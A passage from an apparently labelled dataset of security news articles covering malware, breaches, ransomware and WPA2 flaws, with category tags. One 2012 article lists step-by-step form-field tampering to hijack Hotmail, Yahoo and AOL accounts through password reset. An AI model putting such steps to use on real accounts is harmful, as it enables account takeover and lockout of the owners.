All the stolen information is sent back to Emotet's ""command and control (C&C) server where it is used by other components to send spam emails to spread the threat,"" Kang wrote. ""We detect the Emotet spamming component as Spammer:Win32/Cetsiol.A.""
Spam emails containing Emotet malware are difficult for email servers to filter because the messages actually originate from legitimate email accounts. Therefore, typical anti-spam techniques, such as callback verification, won't be applicable on it.
However, there is one technique to stop these spam messages — just reject all those messages that come from bogus accounts by checking whether the account from which you have received the spam email really exists or not.

Users are also advised not to open or click on links and attachments that are provided in any suspicious email, but if the message is from your banking institution and of concern to you, then confirm it twice before proceeding.

",Malware
"Yet Another Hotmail, AOL and Yahoo Password Reset 0Day Vulnerabilities",https://thehackernews.com/2012/04/yet-another-hotmail-aol-and-yahoo.html,"Yesterday we Reported a 0-Day Vulnerability in Hotmail, which allowed hackers to reset account passwords and lock out the account's real owners. Tamper Data add-on allowed hackers to siphon off the outgoing HTTP request from the browser in real time and then modify the data.When they hit a password reset on a given email account they could fiddle the requests and input in a reset they chose.

Microsoft spokesperson confirmed the existence of the security flaw and the fix, but offered no further details: ""On Friday, we addressed an incident with password reset functionality; there is no action for customers, as they are protected.""

Later Today another unknown hacker reported another similar vulnerabilities in Hotmail, Yahoo and AOL. Using same Tamper Data add-on attacker is able to Reset passwords of any account remotely. This is somewhat a critical Vulnerability ever exposed, Millions of users can effected in result.

Here Below Hacker Demonstrated Vulnerabilities:

1.) Hotmail :

Step 1. Go to this page https://maccount.live.com/ac/resetpwdmain.aspx .
Step 2. Enter the Target Email and enter the 6 characters you see.
Step 3. Start Tamper Data
Step 4. Delete Element ""SendEmail_ContinueCmd""
Step 5. change Element ""__V_previousForm"" to ""ResetOptionForm""
Step 6. Change Element ""__viewstate"" to ""%2FwEXAQUDX19QDwUPTmV3UGFzc3dvcmRGb3JtZMw%2BEPFW%2Fak6gMIVsxSlDMZxkMkI""
Step 7. Click O.K and Type THe new Password
Step 8. sTart TamperDaTa and Add Element ""__V_SecretAnswerProof"" Proof not constant Like the old Exploit ""++++"" You need new Proof Every Time


2.) Yahoo

Step 1. Go to this page https://edit.yahoo.com/forgot .
Step 2. EnTer the Target Email . and Enter the 6 characters you see .
Step 3. Start Tamper Data Delete
Step 4. change Element ""Stage"" to ""fe200""
Step 5. Click O.K and Type The new Password
Step 6. Start Tamper Data All in Element Z
Step 7.done

3.) AOL:

Step 1. Go to Reset Page
Step 2. EnTer the Target Email . and Enter the characters you see .
Step 3. Start Tamper Data
Step 4. change Element ""action"" to ""pwdReset""
Step 5. change Element ""isSiteStateEncoded"" to ""false""
Step 6. Click O.K and Type THe new Password
Step 7. Start TamperDaTa All in Element rndNO
Step 8. done

We have reported the issue via Twitter to official security response team at Microsoft.

",Vulnerability
"Ashley Madison 2.0 — Hackers Leak 20GB Data Dump, Including CEO's Emails",https://thehackernews.com/2015/08/ashley-madison-hack.html,"The Impact Team – Wait, Cheaters! We haven't yet done.

The group of hackers behind the breach of Ashley Madison, the popular cheater's dating service, have released a second, even much bigger 'cheat sheet' exposing sensitive materials that include sensitive corporate information.

Two days ago, the hackers released nearly 10GB of its customers' personal data online, which included 36 million emails and hashed passwords, 9.6 Million Credit Card Transactions records and their associated usernames.

Nearly 20GB of Ashley Madison Internal Data LEAKED

This time, the Impact Team leaked nearly 20GB worth of what appears to be internal data – not customers' data – from the adultery website on the dark Web.

The leaked data appears to include the source code for the site, as well as a massive amount of e-mail from Ashley Madison parent company's Avid Life Media CEO Noel Biderman.

According to the researcher, who analysed the leaked data, the TL;DR of the leak is:

The leak contains lots of Source Code
73 different git repositories are present
Ashley Madison used gitlab internally
The 13GB compressed file appears to contain Ashley Madison CEO's emails seems corrupted
The leak contains plain text or poorly hashed (md5) db credentials

Personal Emails of Avid Life Media CEO Noel Biderman Exposed

The trove of information was dumped with a taunting message to the adultery website's founder posted on the same dark web hosting the earlier data dump. The message reads:

""Hey Noel, you can admit it's real now."" – presumably directed at CEO Noel Biderman, who has refused to recognize the data is all legitimate.

Dave Kennedy, the founder of cyber security company TrustedSec LLC, has analysed the second data dump and confirmed that it contained nearly 1GB of Biderman's emails.
""The dump appears to contain all of the business/corporate e-mails, the source code for all of [Avid Life Media's] websites, mobile applications, and more,"" TrustedSec wrote in its official blog post published yesterday.
This is really interesting; having the complete source code to these websites means that hackers now are capable of finding new security holes in Avid Life's websites, and further compromise them more.

However, we have yet to wait for a response to this new release from Avid Life Media officials. If they do, we'll update this post accordingly.

",Data_Breaches
US Govt Warns Critical Industries After Ransomware Hits Gas Pipeline Facility,https://thehackernews.com/2020/02/critical-infrastructure-ransomware-attack.html,"The U.S. Department of Homeland Security's Cybersecurity and Infrastructure Security Agency (CISA) earlier today issued a warning to all industries operating critical infrastructures about a new ransomware threat that if left unaddressed could have severe consequences.

The advisory comes in response to a cyberattack targeting an unnamed natural gas compression facility that employed spear-phishing to deliver ransomware to the company's internal network, encrypting critical data and knocking servers out of operation for almost two days.

""A cyber threat actor used a spear-phishing link to obtain initial access to the organization's information technology network before pivoting to its operational technology network. The threat actor then deployed commodity ransomware to encrypt data for impact on both networks,"" CISA noted in its alert.

As ransomware attacks continue to escalate in frequency and scale, the new development is yet another indication that phishing attacks continue to be an effective means to bypass security barriers and that hackers don't always need to exploit security vulnerabilities to breach organizations.

CISA highlighted that the attack did not impact any programmable logic controllers (PLCs) and that the victim did not lose control of its operations. But in the aftermath of the incident, the company is reported to have initiated a deliberate operational shutdown, resulting in a loss of productivity and revenue.

Noting that the impact was limited to Windows-based systems and assets located in a single geographic locality, it said the company was able to recover from the attack by getting hold of replacement equipment and loading last-known-good configurations.

Although the notification is lean on the specifics of the attack, this is not the first time phishing links have been employed to deliver ransomware. Lake City's I.T. network was crippled last June after an employee inadvertently opened a suspicious email that downloaded the Emotet Trojan, which in turn downloaded TrickBot Trojan and Ryuk ransomware.

The evolving threat landscape means companies need to consider the full scope of threats posed to their operations, including maintaining periodic data backups and devising fail-over mechanisms in the event of a shutdown.

Aside from securing the email channel and identifying and protecting the most attacked individuals, this also underscores the need for adopting appropriate anti-phishing measures to stop social engineering attempts from reaching their targets' inboxes and training people to spot mails that get through.

Additionally, it's imperative that vulnerable organizations safeguard the digital supply chain by segmenting critical network infrastructure using firewalls and conducting periodic security audits to identify gaps and weaknesses.

For a full list of mitigative measures that can be undertaken, head to the CISA advisory here.

Update:

Cybersecurity firm Dragos issued an assessment on Wednesday linking the attack on the facility to an alert put out by the US Coast Guard in December. The Ryuk ransomware infection had forced the facility to shut down for 30 hours, disrupting camera and physical access control systems, along with shutting down the entire corporate IT network at the facility.

The analysis cited overlaps in the outage period between the two reports, the impact on Windows-based systems, and the primary attack vector being an email message containing a malicious link.

",Cyber_Attack
Malware that turns computers into Bitcoin miners,https://thehackernews.com/2013/04/malware-that-turns-computers-into.html,"Researchers from Kaspersky Lab have discovered a new spam message campaign being transmitted via Skype contains malware capable of using an infected computer to mine for Bitcoins. The malware, identified as Trojan.Win32.Jorik.IRCbot.xkt.

Bitcoin is a non-governmental, fully-digital currency based on an open-source and peer-to-peer internet protocol. Cybercriminals have figured out that distributed Bitcoin mining is a perfect task for botnets and have started developing malware that can abuse the CPUs and GPUs of infected computers to generate Bitcoins.

""Bitcoin mining is the process of making computer hardware do mathematical calculations for the Bitcoin network to confirm transactions and increase security,""

Victims are encouraged to install malware file that is included with messages like ""this my favourite picture of you"". Those who click the links, infected with a virus dropper downloaded from a server in India. If the malicious file is installed, one of its features is to turn the machine into a Bitcoin mining slave.

Turning unwitting PCs into Bitcoin slaves is the latest attack to hit Bitcoin and Bitcoin-related services. Most anti-malware programs cannot detect the malware. The malware has the fingerprints of script kids, rather than sophisticated hackers.

According to Kaspersky Lab, the average click rate for the rogue URL is high, at over 2,000 clicks per hour. ""Most of potential victims live in Italy then Russia, Poland, Costa Rica, Spain, Germany, Ukraine and others,""

",Malware
"Wait ! It's not just Stuxnet or DuQu , Kaspersky reveals 5 more cousins",https://thehackernews.com/2012/01/wait-its-not-just-stuxnet-or-duqu.html,"Wait ! It's not just Stuxnet or DuQu , Kaspersky reveals 5 more cousins



Russian computer security outfit Kaspersky Lab said that the Stuxnet virus that damaged Iran's nuclear programme was likely to be one of at least five cyber weapons developed on a single platform. The viruses have never been seen 'in the wild' - and it's unclear whether they, like Stuxnet, would be built to cause failures at nuclear plants, or engineered for another purpose.

Both Stuxnet and Duqu appear to have been created back in late 2007 or early 2008, and other pieces of malware with similar capabilities were built on the same platform, Gostev said.
Gostev examined two key drivers and variants that were used in both Stuxnet and Duqu, as well as two previously unknown drivers that were similar to the ones used. Not only did the same group of people develop Stuxnet and Duqu, but they likely worked simultaneously on multiple variants, Gostev said. The other pieces may be in the wild and not yet detected, or the developers may have decided not to release them, he said.

Overall, Kaspersky found seven types of drivers from the family with similar characteristics, and for three of them there's no knowledge of which malicious program they were used in conjunction with.Alexander Gostev, Chief Security Expert at Kaspersky, commented: ""The drivers from the still unknown malicious programs cannot be attributed to activity of the Stuxnet and Duqu Trojans. The methods of dissemination of Stuxnet would have brought about a large number of infections with these drivers; and they can't be attributed either to the more targeted Duqu Trojan due to the compilation date.""

Researchers with Kaspersky have not found any new types of malware built on the Tilded platform, Raiu said, but they are fairly certain that they exist because shared components of Stuxnet and Duqu appear to be searching for their kin.When a machine becomes infected with Duqu or Stuxnet, the programs search for two unique registry keys on the PC linked to Duqu and Stuxnet that are then used to load the main piece of malware onto the computer, he said.

""We believe Duqu and Stuxnet were simultaneous projects supported by the same team of developers,"" Gostev wrote.
The developers are tweaking ready-made files instead of creating new drivers from scratch, which allows them to make as many different driver files as they like, each having exactly the same functionality and creation date, Gostev said. These files can also be signed with legitimate digital certificates and packaged into different variants.

",Vulnerability
FBI's Cyber Task Force Identifies Stealthy FF-RATs used in Cyber Attack,https://thehackernews.com/2015/09/stealthy-malware-cyber-attack.html,"In both April and June this year, a series of cyber attacks was conducted against the United States Office of Personnel Management (OPM).

These attacks resulted in 21 million current and former Federal government employees' information being stolen.

After months of investigation, the FBI's Cyber Task Force identified several Remote Access Tools (RATs) that were used to carry out the attack. One of the more effective tools discovered is named 'FF-RAT'.

FF-RAT evades endpoint detection through stealth tactics, including the ability to download DLLs remotely and execute them in memory only.

Hackers use RATs to gain unlimited access to infected endpoints. Once the victim's access privilege is acquired, it is then used for malware deployment, command and control (C&C) server communication, and data exfiltration.

Most Advanced Persistent Threat (APT) attacks also take advantage of RAT functionality for bypassing strong authentication, reconnaissance, spreading infection, and accessing sensitive applications to exfiltrate data. In order to mitigate these types of attacks, it is key that you have tools and methods in place for early detection.

It's important these attacks are identified in time for you to isolate infected assets and remediate issues before they spread or move to a second stage (deploying additional malware, stealing important data, acting as its own C&C server, etc.)

How this affects you


When deploying a RAT, a hacker's primary goal is to create a backdoor to infected systems so they can gain complete control over that system.
When a RAT is installed on your system, the attacker is then able to view, change, or manipulate data on the infected machine. This leaves you open to your, and possibly your clients', sensitive data being stolen.
Often, a single RAT is deployed as a pivot point to deploy additional malware in the local network or use the infected system to host malware for remote retrieval.


How AlienVault Helps

AlienVault Labs, AlienVault's team of security researchers, continue to perform cutting edge research on these types of threats.

They collect large amounts of data and then create expert threat intelligence correlation directives, IDS signatures, vulnerability audits, asset discovery signatures, IP reputation data, data source plugins, and report templates.

Activity from FF-RAT can be detected through IDS signatures and a correlation rule that the Labs team has released to the AlienVault Unified Security Management (USM) platform.

Learn more about AlienVault USM:

Download a free 30-day trial
Watch a demo on-demand
Play with USM in our product sandbox (no download required)

",Malware
RawCap sniffer for Windows released !,https://thehackernews.com/2011/04/rawcap-sniffer-for-windows-released.html,"RawCap sniffer for Windows released


We are today proude to announce the release of RawCap, which is a free raw sockets sniffer for Windows. Here are some highlights of why RawCap is a great tool to have in your toolset:

Can sniff any interface that has got an IP address, including 127.0.0.1 (localhost/loopback)
RawCap.exe is just 17 kB
No external libraries or DLL's needed
No installation required, just download RawCap.exe and sniff
Can sniff most interface types, including WiFi and PPP interfaces
Minimal memory and CPU load
Reliable and simple to use

Usage
RawCap takes two arguments; the first argument is the IP address or interface number to sniff from, the second is the path/file to write the captured packets to.

C:\Tools>RawCap.exe 192.168.0.23 dumpfile.pcap
You can also start RawCap without any arguments, which will leave you with an interactive dialog where you can select NIC and filename:

C:\Tools>RawCap.exe
Network interfaces:
0. 192.168.0.23 Local Area Connection
1. 192.168.0.47 Wireless Network Connection
2. 90.130.211.54 3G UMTS Internet
3. 192.168.111.1 VMware Network Adapter VMnet1
4. 192.168.222.1 VMware Network Adapter VMnet2
5. 127.0.0.1 Loopback Pseudo-Interface
Select network interface to sniff [default '0']: 1
Output path or filename [default 'dumpfile.pcap']:
Sniffing IP : 192.168.0.47
File : dumpfile.pcap
Packets : 1337


For Incident Responders
RawCap comes in very handy for incident responders who want to be able to sniff network traffic locally at the clients of the corporate network. Here are a few examples of how RawCap can be used for incident response:

A company laptop somewhere on the corporate network is believed to exfiltrate sensitive coporate information to a foreign server on the Internet by using a UMTS 3G connection on a USB dongle. After finding the internal IP address on the corporate network the Incident Response Team (IRT) use the Sysinternals tool PsExec to inject RawCap.exe onto the laptop and sniff the packets being exfiltrated through the 3G connection. The generated pcap file can be used to determine what the external 3G connection was used for.

A computer is suspected to be infected with malware that uses an SSL tunnelling proxy (stunnel) to encrypt all Command-and-Control (C&C) communication. The data that is to be sent into the tunnel is first sent unencrypted to localhost (127.0.0.1 aka loopback interface) before it enters the encrypted tunnel. Incident responders can use RawCap to sniff the traffic to/from localhost on the Windows OS, which is something other sniffing tools cannot do.

A corporate laptop connected to the companies WPA2 encrypted WiFi is found to have suspicious TCP sessions opened to other computers on the same WiFi network. Incident responders can run RawCap locally on any of those machines in order to capture the WiFi network traffic to/from that machine in unencrypted form.

For Penetration Testers
RawCap was not designed for pen-testers, but I realize that there are some situations where the tool can come in hany when doing a penetration test. Here are some examples:

After getting remote access and admin privileges on a Windows XP machine the pen-tester wanna sniff the network traffic of the machine in order to get hold of additional credentials. Sniffing tools like dumpcap, WinDump and NMCap can unfortunately not be used since no WinPcap or NDIS driver is installed. RawCap does, however, not need any special driver installed since it makes use of the Raw Sockets functionality built into Windows. Pen-testers can therefore run RawCap.exe to sniff traffic without installing any drivers.

After getting admin on a box the pen-tester wanna sniff the network traffic, but box uses a WiFi network so traditional sniffing tools won't work. This is when RawCap comes in handy, since it can sniff the WiFi traffic of the owned machine just as easily as if it had been an Ethernet NIC.
Download RawCap

RawCap Downloaded

",Malware
Microsoft Releases 12 Security Updates (5 Critical and 7 Important Patches),https://thehackernews.com/2015/09/windows-security-updates.html,"With the release of 12 Security Bulletins, Microsoft addresses a total of 56 vulnerabilities in its different products. The bulletins include five critical updates, out of which two address vulnerabilities in all versions of Windows.

The September Patch Tuesday update (released on second Tuesday of each month) makes a total of 105 Security Bulletins being released this year; which is more than the previous year with still three months remaining for the current year to end.

The reason for the increase in the total number of security bulletins within such less time might be because of Windows 10 release and its installation reaching to a score of 100 million.

Starting from MS15-094 to MS15-105 (12 security bulletins) Microsoft rates the severity of the vulnerabilities and their impact on the affected software.

Bulletins MS15-094 and MS15-095 are the cumulative updates, meaning these are product-specific fixes for security related vulnerabilities that are rated as 'critical' by Microsoft.

Bulletins MS15-097 to MS15-099 are also rated as the most critical vulnerabilities with the impact leading to remote code execution (RCE) of the affected software.

PATCH UPDATE: CRITICAL FLAWS

1. Cumulative Security Update for Internet Explorer (MS15-094) was present in Internet Explorer 7 through Internet Explorer 11 and was rated 'Critical' on Windows clients and 'Moderate' on Windows servers.

The vulnerability could allow an attacker to gain administrative user rights of the victim when the user visits a specially crafted web page set up by the attacker.

The security update addresses the flaws by:
Modifying how Internet Explorer (IE) handles objects in memory
Modifying how IE, JScript, and VBScript handle objects in memory
Helping to ensure that IE correctly permits file operations
2. Cumulative Security Update for Microsoft Edge (MS15-095) is for the Microsoft's Edge browser of the newly released Windows 10 where the severity rating is critical for all the Windows 10 clients.

The vulnerability was exactly the same as MS15-094 but was present in both Windows Edge and Internet Explorer. The update addresses the flaws by modifying how Microsoft Edge handles objects in memory.

3. RCE Vulnerabilities in Microsoft Graphics Component (MS15-097) allows an attacker to implement remote code execution when the victim accesses specially crafted document or visits an untrusted web page that contains Embedded OpenType fonts (.eot).

This security update is rated 'Critical' for:
All supported versions of Windows Vista and Windows Server 2008
All affected versions of Microsoft Lync 2013, Microsoft Lync 2010, and Microsoft Live Meeting 2007
All affected versions of Microsoft Office 2007 and Microsoft Office 2010
The vulnerability was resolved by how:
Windows Adobe Type Manager Library handles OpenType fonts
Windows kernel-mode driver handles objects in memory
Windows validates integrity levels to prevent inappropriate process initialization
Windows kernel handles memory addresses
4. RCE Vulnerabilities in Windows Journal (MS15-098) lets an attacker remotely execute malicious code if a user opens a specially crafted Journal file.

This security update is rated Critical for all supported releases of Windows operating system and addresses the issues by modifying how Windows Journal parses Journal files.

5. RCE Vulnerabilities in Microsoft Office (MS15-099) allows an attacker to exploit the vulnerability present in the Microsoft's Office Suite by gaining access to the victim (user having administrative rights) and running arbitrary code in the name of an authorized user.

Though users with limited rights are supposedly safe, and the affected software include:
All versions of Microsoft Office 2007
All versions of Microsoft Office 2010
All versions of Microsoft Office 2013
All versions of Microsoft Office 2013 RT
The security update addresses the flaws by correcting how Microsoft Office handles files in memory and by modifying how SharePoint validates web requests.

PATCH UPDATE: IMPORTANT FLAWS

The Other remaining vulnerabilities MS15-096 and from MS15-100 to MS15-105 are rated as 'Important' on Microsoft's severity scale; those are affecting:
Microsoft Windows various versions
Skype
Lync messenger
Microsoft Exchange Server
Microsoft .NET framework...to name a few
The vulnerabilities could allow hackers to conduct attacks such as:
Denial of Service
Privilege escalation
Information breach
Other security breaks
Microsoft has acknowledged researchers at Google Project Zero, hyp3rlinx, FireEye Inc., Fortinet's FortiGuard Labs, Cisco Talos...and many more as the contributors for helping them providing adequate security to the users.

For the updates, you will have to follow the same method of downloading and installing the Windows update for your system.

TIP for Windows users: Keep your system's Windows Update settings to ""Check for Updates but let me choose whether to download and install them.""

",Vulnerability
KRACK Demo: Critical Key Reinstallation Attack Against Widely-Used WPA2 Wi-Fi Protocol,https://thehackernews.com/2017/10/wpa2-krack-wifi-hacking.html,"Do you think your wireless network is secure because you're using WPA2 encryption?

If yes, think again!

Security researchers have discovered several key management vulnerabilities in the core of Wi-Fi Protected Access II (WPA2) protocol that could allow an attacker to hack into your Wi-Fi network and eavesdrop on the Internet communications.

WPA2 is a 13-year-old WiFi authentication scheme widely used to secure WiFi connections, but the standard has been compromised, impacting almost all Wi-Fi devices—including in our homes and businesses, along with the networking companies that build them.

Dubbed KRACK—Key Reinstallation Attack—the proof-of-concept attack demonstrated by a team of researchers works against all modern protected Wi-Fi networks and can be abused to steal sensitive information like credit card numbers, passwords, chat messages, emails, and photos.

Since the weaknesses reside in the Wi-Fi standard itself, and not in the implementations or any individual product, any correct implementation of WPA2 is likely affected.

According to the researchers, the newly discovered attack works against:

Both WPA1 and WPA2,
Personal and enterprise networks,
Ciphers WPA-TKIP, AES-CCMP, and GCMP

In short, if your device supports WiFi, it is most likely affected. During their initial research, the researchers discovered that Android, Linux, Apple, Windows, OpenBSD, MediaTek, Linksys, and others, are all affected by the KRACK attacks.

It should be noted that the KRACK attack does not help attackers recover the targeted WiFi's password; instead, it allows them to decrypt WiFi users' data without cracking or knowing the actual password.

So merely changing your Wi-Fi network password does not prevent (or mitigate) KRACK attack.

Here's How the KRACK WPA2 Attack Works (PoC Code):


Discovered by researcher Mathy Vanhoef of imec-DistriNet, KU Leuven, the KRACK attack works by exploiting a 4-way handshake of the WPA2 protocol that's used to establish a key for encrypting traffic.

For a successful KRACK attack, an attacker needs to trick a victim into re-installing an already-in-use key, which is achieved by manipulating and replaying cryptographic handshake messages.
""When the victim reinstalls the key, associated parameters such as the incremental transmit packet number (i.e. nonce) and receive packet number (i.e. replay counter) are reset to their initial value,"" the researcher writes.
""Essentially, to guarantee security, a key should only be installed and used once. Unfortunately, we found this is not guaranteed by the WPA2 protocol. By manipulating cryptographic handshakes, we can abuse this weakness in practice.""
The research [PDF], titled Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2, has been published by Mathy Vanhoef of KU Leuven and Frank Piessens of imec-DistriNet, Nitesh Saxena and Maliheh Shirvanian of the University of Alabama at Birmingham, Yong Li of Huawei Technologies, and Sven Schäge of Ruhr-Universität Bochum.

The team has successfully executed the key reinstallation attack against an Android smartphone, showing how an attacker can decrypt all data that the victim transmits over a protected WiFi. You can watch the video demonstration above and download proof-of-concept (PoC) code from Github.
""Decryption of packets is possible because a key reinstallation attack causes the transmit nonces (sometimes also called packet numbers or initialization vectors) to be reset to zero. As a result, the same encryption key is used with nonce values that have already been used in the past,"" the researcher say.
The researchers say their key reinstallation attack could be exceptionally devastating against Linux and Android 6.0 or higher, because ""Android and Linux can be tricked into (re)installing an all-zero encryption key (see below for more info).""

However, there's no need to panic, as you aren't vulnerable to just anyone on the internet because a successful exploitation of KRACK attack requires an attacker to be within physical proximity to the intended WiFi network.

WPA2 Vulnerabilities and their Brief Details

The key management vulnerabilities in the WPA2 protocol discovered by the researchers has been tracked as:

CVE-2017-13077: Reinstallation of the pairwise encryption key (PTK-TK) in the four-way handshake.
CVE-2017-13078: Reinstallation of the group key (GTK) in the four-way handshake.
CVE-2017-13079: Reinstallation of the integrity group key (IGTK) in the four-way handshake.
CVE-2017-13080: Reinstallation of the group key (GTK) in the group key handshake.
CVE-2017-13081: Reinstallation of the integrity group key (IGTK) in the group key handshake.
CVE-2017-13082: Accepting a retransmitted Fast BSS Transition (FT) Reassociation Request and reinstalling the pairwise encryption key (PTK-TK) while processing it.
CVE-2017-13084: Reinstallation of the STK key in the PeerKey handshake.
CVE-2017-13086: reinstallation of the Tunneled Direct-Link Setup (TDLS) PeerKey (TPK) key in the TDLS handshake.
CVE-2017-13087: reinstallation of the group key (GTK) while processing a Wireless Network Management (WNM) Sleep Mode Response frame.
CVE-2017-13088: reinstallation of the integrity group key (IGTK) while processing a Wireless Network Management (WNM) Sleep Mode Response frame.

The researchers discovered the vulnerabilities last year, but sent out notifications to several vendors on July 14, along with the United States Computer Emergency Readiness Team (US-CERT), who sent out a broad warning to hundreds of vendors on 28 August 2017.
""The impact of exploiting these vulnerabilities includes decryption, packet replay, TCP connection hijacking, HTTP content injection, and others,"" the US-CERT warned. ""Note that as protocol-level issues, most or all correct implementations of the standard will be affected.""
In order to patch these vulnerabilities, you need to wait for the firmware updates from your device vendors.

According to researchers, the communication over HTTPS is secure (but may not be 100 percent secure) and cannot be decrypted using the KRACK attack. So, you are advised to use a secure VPN service—which encrypts all your Internet traffic whether it's HTTPS or HTTP.

You can read more information about these vulnerabilities on the KRACK attack's dedicated website, and the research paper.

The team has also released a script using which you can check whether if your WiFi network is vulnerable to the KRACK attack or not.

We will keep updating the story. Stay Tuned!

",Vulnerability
"$60000 for Exploiting Google Chrome, Hackers at Pwnium work...",https://thehackernews.com/2012/02/60000-for-exploiting-google-chrome.html,"$60000 for Exploiting Google Chrome, Hackers at Pwnium work...
Google has offered prizes, totalling $1 million, to those who successfully hack the Google Chrome browser at the Pwn2Own hacker contest taking place next week i.e 7 March 2012. Chrome is the only browser in the contest's six year history to not be exploited like at all.

Therefore Google will hand out prizes of $60,000, $40,000, and $20,000 for contestants able to remotely commandeer a fully-patched browser running on Windows 7. Finding a ""Full Chrome Exploit,"" obtaining user account persistence using only bugs in the browser itself will net the $60k prize. Using webkits, flash, or a driver-based exploit can only earn the lesser amounts.

Prizes will be awarded on a first-come-first-serve basis, until the entire $1 million has been claimed. ""While we're proud of Chrome's leading track record in past competitions, the fact is that not receiving exploits means that it's harder to learn and improve,"" said Chris Evans and Justin Schuh, members of the Google Chrome security team.

""To maximize our chances of receiving exploits this year, we've upped the ante. We will directly sponsor up to $1 million worth of rewards."" Pwn2Own isn't the only time researchers can be paid for digging up security flaws in Chrome. Like other companies including Mozilla and Facebook, Google offers ""bug bounties"" to researchers, and its flaw-buying program has given out more than $300,000 in payments over the last two years.

[Source]

",Vulnerability
New Group of Hackers Targeting Businesses with Financially Motivated Cyber Attacks,https://thehackernews.com/2019/11/financial-cyberattacks.html,"Security researchers have tracked down activities of a new group of financially-motivated hackers that are targeting several businesses and organizations in Germany, Italy, and the United States in an attempt to infect them with backdoor, banking Trojan, or ransomware malware.

Though the new malware campaigns are not customized for each organization, the threat actors appear to be more interested in businesses, IT services, manufacturing, and healthcare industries who possess critical data and can likely afford high ransom payouts.

According to a report ProofPoint shared with The Hacker News, the newly discovered threat actors are sending out low-volume emails impersonating finance-related government entities with tax assessment and refund lured emails to targeted organizations.

""Tax-themed Email Campaigns Target 2019 Filers, finance-related lures have been used seasonally with upticks in tax-related malware and phishing campaigns leading up to the annual tax filing deadlines in different geographies,"" the researchers said.

New Malware Campaigns Spotted in the Wild

In almost all spear-phishing email campaigns researchers observed between October 16 and November 12 this year, the attackers used malicious Word document attachments as an initial vector to compromise the device.


Once opened, the malicious document executes a macro script to run malicious PowerShell commands, which then eventually downloads and installs one of the following payloads onto the victim's system:

Maze Ransomware,
IcedID Banking Trojan,
Cobalt Strike backdoor.

'Opening the Microsoft Word Document and enabling macros installs Maze ransomware on the user's system, encrypting all of their files, and saves a ransom note resembling the following in TXT format in every directory.'

Besides using social engineering, to make their spear-phishing emails more convincing, attackers are also using lookalike domains, verbiage, and stolen branding to impersonate:

Bundeszentralamt fur Steuern, the German Federal Ministry of Finance,
Agenzia Delle Entrate, the Italian Revenue Agency,
1&1 Internet AG, a German internet service provider,
USPS, the United States Postal Service.

""Similar campaigns leveraging local gov. agencies were also observed in Germany and Italy. These social-engineered lures indicate that cybercriminals overall are becoming more convincing and sophisticated in their attacks.""

""Although these campaigns are small in volume, currently, they are significant for their abuse of trusted brands, including government agencies, and for their relatively rapid expansion across multiple geographies. To date, the group appears to have targeted organizations in Germany, Italy, and, most recently, the United States, delivering geo-targeted payloads with lures in local languages,"" Christopher Dawson, Threat Intelligence Lead at Proofpoint, told The Hacker News.

""We will be watching this new actor closely, given their apparent global aspirations, well-crafted social engineering, and steadily increasing scale.""

How to Protect Email-Based Cyber Attacks?

Thought most of the tools and techniques used by this new group are neither new nor sophisticated; unfortunately, it's still one of the most successful ways criminals penetrate an organization.

The best ways to protect your computer against such attacks are as simple as following basic online cybersecurity practices, such as:

Disable macros from running in office files,
Always keep a regular backup of your important data,
Make sure you run one of the best antivirus software on your system,
Don't open email attachments from unknown or untrusted sources,
Don't click on the links from unknown sources.

",Malware
Experts Uncover Malware Attacks Targeting Corporate Networks in Latin America,https://thehackernews.com/2021/07/experts-uncover-malware-attacks.html,"Cybersecurity researchers on Thursday took the wraps off a new, ongoing espionage campaign targeting corporate networks in Spanish-speaking countries, specifically Venezuela, to spy on its victims.
Dubbed ""Bandidos"" by ESET owing to the use of an upgraded variant of Bandook malware, the primary targets of the threat actor are corporate networks in the South American country spanning across manufacturing, construction, healthcare, software services, and retail sectors.
Written in both Delphi and C++, Bandook has a history of being sold as a commercial remote access trojan (RAT) dating all the way back to 2005. Since then, numerous variants have emerged on the threat landscape and put to use in different surveillance campaigns in 2015 and 2017, allegedly by a cyber-mercenary group known as Dark Caracal on behalf of government interests in Kazakhstan and Lebanon.
In a continuing resurgence of the Bandook Trojan, Check Point last year disclosed three new samples — one of which supported 120 commands — that were utilized by the same adversary to hit government, financial, energy, food industry, healthcare, education, IT, and legal institutions located in Chile, Cyprus, Germany, Indonesia, Italy, Singapore, Switzerland, Turkey, and the U.S.
The latest attack chain commences with prospective victims receiving malicious emails with a PDF attachment, which contains a shortened URL to download a compressed archive hosted on Google Cloud, SpiderOak, or pCloud and the password to extract it. Extracting the archive reveals a malware dropper that decodes and injects Bandook into an Internet Explorer process.
Interestingly, the latest variant of Bandook analyzed by ESET contains 132 commands, up from the 120 commands reported by Check Point, implying that the criminal group behind the malware are advancing their malicious tools with improved capabilities and striking power.
""Especially interesting is the ChromeInject functionality,"" said ESET researcher Fernando Tavella. ""When the communication with the attacker's command and control server is established, the payload downloads a DLL file, which has an exported method that creates a malicious Chrome extension. The malicious extension tries to retrieve any credentials that the victim submits to a URL. These credentials are stored in Chrome's local storage.""
Some of the main commands that the payload is capable of processing include listing directory contents, manipulating files, taking screenshots, controlling the cursor on the victim's machine, installing malicious DLLs, terminating running processes, downloading files from a specific URL, exfiltrating the results of the operations to a remote server, and even uninstalling itself from the infected machines.
If anything, the development is yet another sign that adversaries can still leverage old crimeware solutions to facilitate attacks.
""[Bandook's] involvement in different espionage campaigns [...] shows us that it is still a relevant tool for cybercriminals,"" the researchers opined. ""Also, if we consider the modifications made to the malware over the years, it shows us the interest of cybercriminals to keep using this piece of malware in malicious campaigns, making it more sophisticated and more difficult to detect.""

",Cyber_Attack
"After Getting Hacked, Uber Paid Hackers $100,000 to Keep Data Breach Secret",https://thehackernews.com/2017/11/uber-hack-data-breach.html,"Uber is in headlines once again—this time for concealing last year's data breach that exposed personal data of 57 million customers and drivers.

On Tuesday, Uber announced that the company suffered a massive data breach in October 2016 that exposed names, e-mail addresses and phone numbers of 57 million Uber riders and drivers along with driver license numbers of around 600,000 drivers.

However, instead of disclosing the breach, the company paid $100,000 in ransom to the two hackers who had access to the data in exchange for keeping the incident secret and deleting the information, according to a report published by Bloomberg.

Uber said none of its own systems were breached, rather two individuals outside the company inappropriately accessed and downloaded 57 million Uber riders' and drivers' data that was stored on a third-party cloud-based service.

The cyberattack exposed the names and driver license numbers of some 600,000 drivers in the United States, and the names, emails, and mobile phone numbers of around 57 million Uber users worldwide, which included drivers as well.

However, the company said other personal details, such as trip location history, credit card numbers, bank account numbers, Social Security numbers or dates of birth, were not accessed in the attack.

Uber Hid 57 Million User Data Breach For Over a Year

